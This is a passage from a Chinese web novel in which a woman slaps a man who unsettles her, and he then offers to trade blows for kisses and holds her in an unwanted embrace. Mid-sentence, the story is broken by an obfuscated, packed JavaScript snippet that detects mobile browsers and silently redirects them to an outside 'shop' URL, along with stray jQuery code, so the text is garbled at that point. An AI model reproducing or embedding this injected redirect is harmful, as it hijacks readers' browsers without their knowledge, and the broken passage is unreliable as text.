然后,一个低哑的声音在她的耳畔处响起,“待在这里陪着我不好吗?” 那声音似乎钻进了耳道,让贺佑宁从脊椎尾骨窜起一股战栗。她猛地向旁边侧开一步拉开距离,骤然转身一看。 李清述不知何时已悄无声息地站到了她身后。 他的眼眸异常专注,里面没有强求,只有一种纯纯的疑问,仿佛真的在认真寻求她的答案。 “不好。”贺佑宁的声音冷得像冰,不容置疑地回答他。 “好吧。” 李清述眨了眨眼,他似乎对她的答案并不意外。但抬往前挪了极小的一步,目光仍然锁着她。 “但还是需要你陪我一下呢。” 他声音轻轻的,但那语气里的无赖与固执,彻底点燃了贺佑宁压抑许久的怒火。 “啪——!” 清脆响亮的耳光声,在寂静的船舱内骤然响起,清晰得令人心惊。 李清述被打得脸偏向一侧,白皙的皮肤上瞬间浮现出几道浅浅的红痕。他维持着偏头的姿势,一动不动,仿佛被这一巴掌打懵了。 时间仿佛静止了。 贺佑宁的手还僵在半空,心跳如擂鼓。她看着他那侧脸上泛红的指印,看着他垂下的浓密长睫,一时也有些怔住。 她没想过自己会真的动手。 不过动手了也挺好的。 李清述缓慢地将头转了回来。 他抬起手,用修长苍白的指尖轻轻碰了碰自己的脸颊。然后抬眼重新看向贺佑宁。 目光平静得可怕。 “疼。”他开口,只吐出一个字。没有控诉,没有委屈,没有任何情绪,只是在陈述一个事实。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155045|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是这个字,配合着他脸上那刺目的红痕,和他此刻平静到诡异的神情,却让贺佑宁下意识地后退了一步,攥紧了右手。 随后她定了定神,挺直背脊,迎着他平静的视线,声音因为情绪的波动而微微发颤,却带着一种豁出去的冷硬:“我就是想让你疼。” 李清述微微偏了偏头,仿佛真的在认真思考她的话。然后,他轻声说:“也不是不可以。” 贺佑宁一愣,没明白他什么意思。 他抬眼看向她,目光认真,瞳仁黑得纯粹,竟带上了一丝近乎商量的口吻:“如果亲一次就打一下的话,” 他顿了顿,仿佛在计算着什么,“那你可以多打我几下。” 他语速平缓,每一个字都清晰无比地落入贺佑宁耳中。没有戏谑,没有调侃,只有一种理所当然的逻辑。 贺佑宁:“……” 这根本不是一个正常人会有的思维! 良久,贺佑宁才回应了他:“疯子!” 除了这两个字,她再也找不到任何词汇来形容眼前这个人。 李清述对她的评价不以为意。他微微弯了弯唇角,那是一个极浅极淡的弧度,却让他整张脸都生动了一瞬。 他忽然伸出手臂,以一种异常轻柔的姿态,将她整个人揽入了怀中。 艾草绿的衣裙瞬间被一片雪白覆盖。 他身上的温度透过薄薄的衣衫传来,手臂环着她的腰背,力道不重,却异常稳固,将她牢牢禁锢在他胸前,贺佑宁的脸颊被迫贴在他肩颈处。 这个拥抱来得猝不及防,更让她感到一种无处遁形的桎梏与亲密。 贺佑宁下意识地挣扎,双手抵在他胸前,想要推开。 然而下一瞬,头顶却传来他的声音,温热的气息拂过她的额发:“我抱你的话,你会打我吗?” 贺佑宁的动作停顿了下来。 她忽然觉得,所有的挣扎和斥责,在这个人面前,都像是拳头打在棉花上,无力至极。